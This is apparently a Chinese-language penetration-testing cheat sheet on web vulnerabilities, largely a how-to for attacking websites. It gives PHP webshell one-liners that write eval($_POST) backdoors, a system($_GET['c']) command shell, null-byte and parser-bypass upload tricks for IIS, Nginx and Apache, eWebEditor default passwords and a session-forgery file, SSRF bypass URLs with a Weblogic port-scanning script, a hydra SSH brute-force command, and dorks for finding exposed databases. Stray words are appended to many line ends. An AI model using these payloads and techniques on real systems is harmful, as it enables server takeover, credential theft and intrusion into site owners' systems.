1.sql注入php
2.xss(跨站腳本)html
XSS概念:一般指黑客經過HTML注入纂改了網頁,插入惡意腳本,從而在用戶瀏覽網頁時,控制用戶瀏覽器的一種攻擊。前端
XSS有三種:java
反射型xss:只是簡單地把用戶輸入的數據反射給瀏覽器,簡單來講,黑客每每須要用戶誘使用戶點擊一個惡意連接,才能攻擊成功。mysql
存儲型XSS:將用戶輸入的數據存儲在服務器端。nginx
DOM XSS:經過修改頁面的DOM節點造成的XSS。web
反射型xss我以前寫過關於它的文章了:https://www.cnblogs.com/xiaoqiyue/p/8645108.htmlsql
存儲型xss攻擊流程:shell
一個論壇提供了留言板功能,惡意用戶在留言板內插入惡意的html或者js代碼,而且提交,那麼這段惡意代碼就會被保存進入數據庫中,而後其餘用戶在瀏覽這個論壇時,瀏覽器會解釋執行這段惡意代碼,也就說當其餘用戶瀏覽的時候,這段代碼就會竊取用戶的cookie(固然存儲型xss還能夠將網站重定向到一個釣魚網站,或者從新更改頁面內容,欺騙用戶輸入用戶名,密碼,而後提交到惡意用戶的服務器上)數據庫
3.文件包含
4.命令執行
原理:因爲開發人員在編寫源代碼時,沒有對源代碼中可執行的特殊函數入口作過濾,致使客戶端能夠提交一些cmd命令,並交由服務器程序執行。致使攻擊者能夠經過瀏覽器或者其餘客戶端軟件提交一些cmd命令(或者bash命令)至服務器程序,服務器程序經過system、eval、exec等函數直接或者間接地調用cmd.exe執行攻擊者提交的命令。
防護:對特殊函數坐過濾,對用戶輸入的命令作檢查
經常使用攻擊方法:利用各類調用系統命令的web應用,經過命令拼接、繞過黑名單等方式實如今服務端實現想要實現的系統命令。
示例:其餘示例點此連接:
用一個tomcat遠程代碼執行漏洞做爲示例:
將get改爲PUT
執行咱們的命令whoami,能夠看到直接顯示出來了
查看文件
5.信息泄露
6.文件上傳,解析漏洞
原理:文件上傳漏洞是指在須要上傳文件的地方沒有對上傳的文件的格式進行過濾限制,從而致使惡意用戶上傳惡意文件,getshell。
防護:設置白名單,對用戶上傳的文件進行過濾限制
經常使用攻擊方法:上傳文件經常使用繞過姿式示例:https://www.cnblogs.com/xiaoqiyue/p/9990600.html
1.結合服務器解析漏洞上傳惡意文件(最後總結了一下常見服務器解析漏洞,不全,歡迎你們隨時來補充)
2.利用圖片馬繞過對文件內容檢測的防護方法:檢測文件內容的時候,是根據文件開頭是否有GIF89A這些,以此來判斷是不是圖片
3.繞過前端驗證
4.修改Content-Type繞過上傳惡意文件
5.空字節代碼繞過漏洞,也叫神奇的00截斷,此處的00指的是16進制的00
文件名00截斷實現過程:
1)第一種方法:上傳文件名爲1.php.jpg格式的圖馬文件,抓包後,在php後面加上一個空格字符,而後到hex中將php後面的空格字符對應的20改成00後放行便可。
2)第二種方法:上傳文件名爲1.php%00.jpg格式的圖馬文件,抓包後,將%00進行url解碼後放行便可。
請求包中包含上傳目錄的,能夠嘗試對上傳目錄進行00截斷,原理都同樣,話很少說,直接上實現過程,,,,
實現過程:上傳路徑/upload/,直接改爲/upload/%00,再將%00進行url解碼後放行便可
6.一句話各類繞過的一個網址:https://blog.csdn.net/jaivy/article/details/77611738
下面是一個簡單的文件上傳webshell的實例:
能夠看到該頁面讓上傳一個文件,咱們就上傳一句話,而後抓包看看結果是什麼
能夠看到它不讓咱們上傳這個文件,可是並無提示咱們應該上傳什麼類型的文件,猜想應該是黑名單過濾,咱們把文件後綴名改爲php3試一下
成功上傳,接下來就能夠去網頁上看看咱們上傳的文件有沒有被解析了
歐克,成功,最後就只須要鏈接菜刀就能夠了
解析漏洞:
1、IIS 5.x/6.0解析漏洞利用方法有兩種
1.目錄解析
/xx.asp/xx.jpg
漏洞原理:在網站下創建名字爲 xx.asp的文件夾,其目錄內的任何擴展名的文件都被IIS看成asp文件來解析並執行。(php的也是同樣)
漏洞利用:
例如建立目錄 images.php,那麼若是把這個寫有一句話木馬的1.jpg文件上傳進images.php這個目錄下面,那麼http://127.0.0.1/images.php/1.jpg 這個就是一個後門地址,能夠直接用菜刀去鏈接
2.文件解析
xx.asp;.jpg (分號截斷)
漏洞原理:在IIS6.0下的服務器默認不解析「;」後面的內容,也就是說xx.asp;.jpg會被服務器當作是xx.asp,解析成了asp文件
漏洞利用:上傳一個寫有一句話的1.asp;.jpg木馬文件就能夠直接用菜刀鏈接了(或者直接上傳一個大馬也能夠直接訪問了)
IIS6.0 默認的可執行文件除了asp還包含這三種
/xx.asa
/xx.cer
/xx.cdx
2、IIS 7.x/ Nginx <8.03解析漏洞
Nginx漏洞原理:
Nginx默認是以CGI的方式支持PHP解析的(即默認Fast-CGI爲開啓狀態),廣泛的作法是:上傳一個名字爲1.jpg,內容爲:
<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>
的文件(其實就是利用了fputs這個函數),而後訪問1.jpg/.php,在這個目錄下就會生成一句話木馬 shell.php
·IIS7.5解析漏洞
IIS7.5的漏洞與nginx的相似,都是因爲php配置文件中,開啓了cgi.fix_pathinfo,而這並非nginx或者iis7.5自己的漏洞。
3、Nginx <8.03 空字節代碼執行漏洞
漏洞原理:Ngnix在遇到%00空字節時與後端FastCGI處理不一致,致使能夠在圖片中嵌入PHP代碼而後經過訪問xxx.jpg%00.php來執行其中的代碼
影響版本:0.5.,0.6., 0.7 <= 0.7.65, 0.8 <= 0.8.37
4、利用apache解析漏洞繞過服務器端擴展名檢測:
漏洞原理:Apache 是從右到左開始判斷解析,若是爲不可識別解析,就再往左判斷. 這種漏洞存在於使用module模式與php結合的全部版本的Apache。
利用方法:將木馬命名爲 【1.php.adc】,在鏈接菜刀時,應該是http://.../1.php
五,IIS7.0,7.5和Nginx<8.03畸形解析漏洞(寫webshell漏洞)
原理:在上傳文件所在目錄下建立一個一句話木馬文件
實現過程:新建一個1.txt文件,內容爲:
<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[test])?>')?>
將文件保存成1.jpg格式,上傳到服務器,假設上傳路徑爲/upload,
上傳成功後,直接訪問/upload/1.jpg,而後咱們會發現/upload目錄下建立了一個一句話木馬文件shell.php
7.編輯器漏洞
網上經常使用的編輯器有ewebeditor,FCK,DotNetTextBox等,這裏只介紹幾個經常使用的。
Ewebeditor:基於瀏覽器的,所見即所得的在線HTML編輯器
默認後臺:ewebeditor/admin_login.asp
默認數據庫:ewebeditor/db/ewebeditor.mdb;
ewebeditor/db/ewebeditor.asa
ewebeditor/db/ewebeditor.asp
ewebeditor/db/#ewebeditor.mdb
ewebeditor/db/#ewebeditor.asa
ewebeditor/db/!@#ewebeditor.asp
ewebeditor/db/ewebeditor1033.mdb
默認帳號密碼:admin admin/admin888/admin999/admin1/admin000
找到後臺後,咱們能夠先用默認帳號密碼嘗試登錄,若是沒有進去,那麼咱們能夠去下載數據庫文件,而後去查找管理員的帳號密碼
1)getshell:
登錄後臺,點開樣式管理,隨意找一個樣式打開,在圖片類型中添加aaspsp(由於編輯器會過濾asp後綴),接下來就是咱們熟悉的上傳一句話木馬了。
2)遍歷目錄漏洞:2.8.0存在該漏洞
上傳文件管理處,有一個樣式目錄:
http://xxx.xxx.com/ewebeditor/admin_uploadfile.asp?id=14&dir=.. /.. 在id=14後添加綠色部分
而後你就能夠看到整個的網站文件了
3)利用webEbeditor session欺騙進入後臺
漏洞文件:Aadmin_Private.asp
新建一個amxking.asp文件,內容以下:
<%Session("eWebEditor_User") = "11111111"%>
訪問該文件,在去訪問後臺任意文件,就均可以看到了。
# 4)2.7.0注入漏洞
http://www.0dayhack.com/ewebeditor/ewebeditor.asp?id=article_content&style=full_v200
默認表名:eWebEditor_System默認列名:sys_UserName、sys_UserPass,而後利用穿山甲進行猜解,對此進行注入取得帳號密碼。
FCKeditor編輯器:
這個編輯器的漏洞下面這個博客講的很細緻,我就再也不多作廢話了:
https://blog.csdn.net/lizhengnanhua/article/details/38451737
#8.cms漏洞
9.csrf漏洞:
漏洞原理:csrf全名爲跨站請求僞造,是一種對網站的惡意利用,雖然聽起來和xss很像,可是它們倆仍是有很大的區別的。csrf是經過僞造來自受信任用戶的請求來利用受信任的網站。
好比:
一個有csrf漏洞的A網站,網站B是攻擊者構造的一個惡意網站,當用戶沒有退出A網站,或者用戶登錄A網站的cookie沒有過時,只要在同一個瀏覽器中打開這個網站B,攻擊者就能夠利用用戶的身份進行用戶才能進行的操做了。
具體示例:https://www.jianshu.com/p/4eed0faaf0ca
漏洞利用:抓包後,去掉Referer字段,若是go一下,依然有效,那麼基本上能夠肯定該網站有csrf漏洞了
正常跳轉
在這裏咱們把密碼改成qwer
成功進入
10. ssrf漏洞
概念:服務端在獲取攻擊者輸入的url時,若是這個過程當中,服務端並無對這個url作任何的限制和過濾,那麼就頗有可能存在ssrf漏洞。
漏洞利用:SSRF攻擊的目標通常是外網沒法訪問的內部系統。攻擊者能夠經過構造url對外網,服務器所在內網,本地進行端口掃描;攻擊運行在內網或本地的應用程序;對內網web應用指紋識別,經過訪問默認文件實現;攻擊內外網的web應用;利用file協議讀取本地文件。
哪裏最可能存在ssrf:
1)經過url分享圖片,文章等;
2)轉碼服務;
3)在線翻譯功能;
4)圖片經過url加載與下載;
5)圖片收藏功能;
6)url關鍵字:
share
wap
url
link
src
source
target
u
3g
display
sourceURL
imageURL
domain
SSRF繞過限制:
1)使用@繞過:http://xx.xxx.com@127.0.0.1 <=>http://127.0.0.1
2)ip地址進行進制轉換
3)添加端口號:http://127.0.0.1:8080
4)使用短地址繞過,將原來的網址轉換成短地址:http://127.0.0.1 <=>http://dwz.cn/11SMa
5)使用xip.io繞過:http://xx.xxx.com.127.0.0.1.xip.io該請求會解析到http://127.0.0.1
Weblogic SSRF漏洞示例:
修改operator參數,探測內網存在的端口
由下面的圖能夠知道,當存在某個端口的時候會顯示which did not have a valid SOAP,因此接下來咱們能夠直接寫個腳本,來探測內網存在的端口,固然也能夠直接用經常使用的端口一個一個試
1 #-*-coding:utf-8-*- 2 import requests 3 4 x = [22,443,3389,6379] 5 for i in x: 6 url = "http://192.168.80.151:7001/uddiexplorer/SearchPublicRegistries.jsp?operator=http://172.20.0.2:{port}&rdoSearch=name&txtSearchname=&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search".format(port=i) 7 r = requests.get(url) 8 if "Tried all" in r.content: 9 continue 10 else: 11 print "開放端口:\n" + str(i) 12 exit(0)
運行後:
所以,咱們能夠知道,當請求的端口存在時,會返回which did not have a vaild SOAP,根據這個咱們能夠判斷有哪些端口是存在的。再結合這些端口進行進一步的滲透測試。
文件包含漏洞:
代碼注入的一種,原理是:注入一段用戶能控制的腳本或代碼,並讓服務器端執行。代碼注入的典型表明就是文件包含file inclusion,文件包含可能出如今jsp,php,asp等語言中,常見的致使文件包含函數以下:
PHP包含函數,不管傳過去的是什麼形式的文件,這些文件最後都會被轉化成PHP文件,而後執行
PHP:include(),include_once(),require(),require_once(),fopen(),readfile()
Jsp:ava.io.file(),java.io.filereader()
Asp:include file,include virtual
包含日誌:經過構造語句讓服務器報錯並將一句話隨報錯信息寫入日誌
找到日誌文件,再用菜刀連接
PHP命令執行函數:
1. system:執行一個外部的應用程序並顯示輸出的結果
2. exec:執行一個外部的應用程序
3. passthru:執行一個UNIX系統命令並顯示原始的輸出
4. shell_exec:執行shell命令並返回輸出的結果的字符串
5. 「’’」運算符:與shell_exec函數的功能相同
好比建立一個1.php,內容以下:
<?php
echo 「<pre>」;
$cmd=$_GET[‘c’];
system($cmd);
echo 「<pre>」;
?>
而後在url中執行:url/1.php?c=ipconfig
C=這個地方填寫你要操做的命令
其他的函數都是如此。
判斷數據庫是否爲Access:
判斷數據庫類型:and exsits (select * from msysobjects)>0 :若是沒有報錯數據庫爲access
And exsits (select * from sysobjects)>0:若是沒有報錯則爲SQL sever數據庫
hydra(暴力破解)的用法:
hydra <參數> <IP地址> <服務名>
hydra的參數是區分大小寫的.
hydra支持的服務有:telnet ftp ssh mysql mssql vnc pcanywhere RDP(3389)等.
hydra的一些參數:
-R 繼續從上一次的進度開始爆破
-s <port> 指定端口
-l <username> 指定登陸的用戶名
-L <username-list> 指定用戶名字典
-p <password> 指定密碼
-t <number> 設置線程數
-P <passwd-list> 指定密碼字典
-v 顯示詳細過程
示例:
hydra -l root -P /tmp/passwd.txt -t 4 -v 192.168.57.101 ssh #爆破ssh登陸密碼
信息收集
dns收集: 經過域名解析IP,也能夠經過工具網站查詢whois :http://tool.chinaz.com
dns查詢內容:主機記錄;別名【CNAME】;主機信息【HZNFO】;郵箱【MB】;郵件交換器【MX】;指針記錄【PTR】;服務記錄【SRV】
工具:dnswalk,dnsenum(kali);dnsmap(kali),也能夠在kaili中直接whois
敏感目錄收集內容:mysql管理接口;後臺目錄;上傳目錄;phpinfo;robots.txt;安裝包;爬行;安裝頁面
工具:wwwscan;御劍;webrobot;skipfish(kali)
密碼破解:
判斷網站cms(即源碼)類型:方法-》腳本語言,操做系統,搭建平臺,cms廠商
網站暴庫漏洞(查找管理員密碼帳號):inurl:/inc/conn.asp
inurl:/inc+conn.asp to parent directory indext:
inurl:/inc/conn.asp
inurl:/inc+conn.asp
to parent directory
找到數據庫文件(後綴名位mdb),下載到本地,利用工具打開,能夠在裏面查找管理員帳號以及密碼(有的數據庫文件的後綴名多是其餘的,如asp,下載到本地以後將其改成mdb便可)
工具:輔臣數據庫瀏覽器,破障Access數據庫查看器
網站後臺查找:經常使用的目錄有:
admin
manage
manage.asp
admin.asp
admin/admin.asp
admin/admin_login.asp
admin/login.asp
login.asp
admin_login.asp
manage/login.asp
有時也能夠從robots.txt中查看,圖片屬性也能夠查看是否存在管理員後臺目錄
或者用Google hack:inurl:xxx.com site:xxx.com site:xx.com 後臺管理 site : xx.com 後臺登陸 site : xx.com 管理員登陸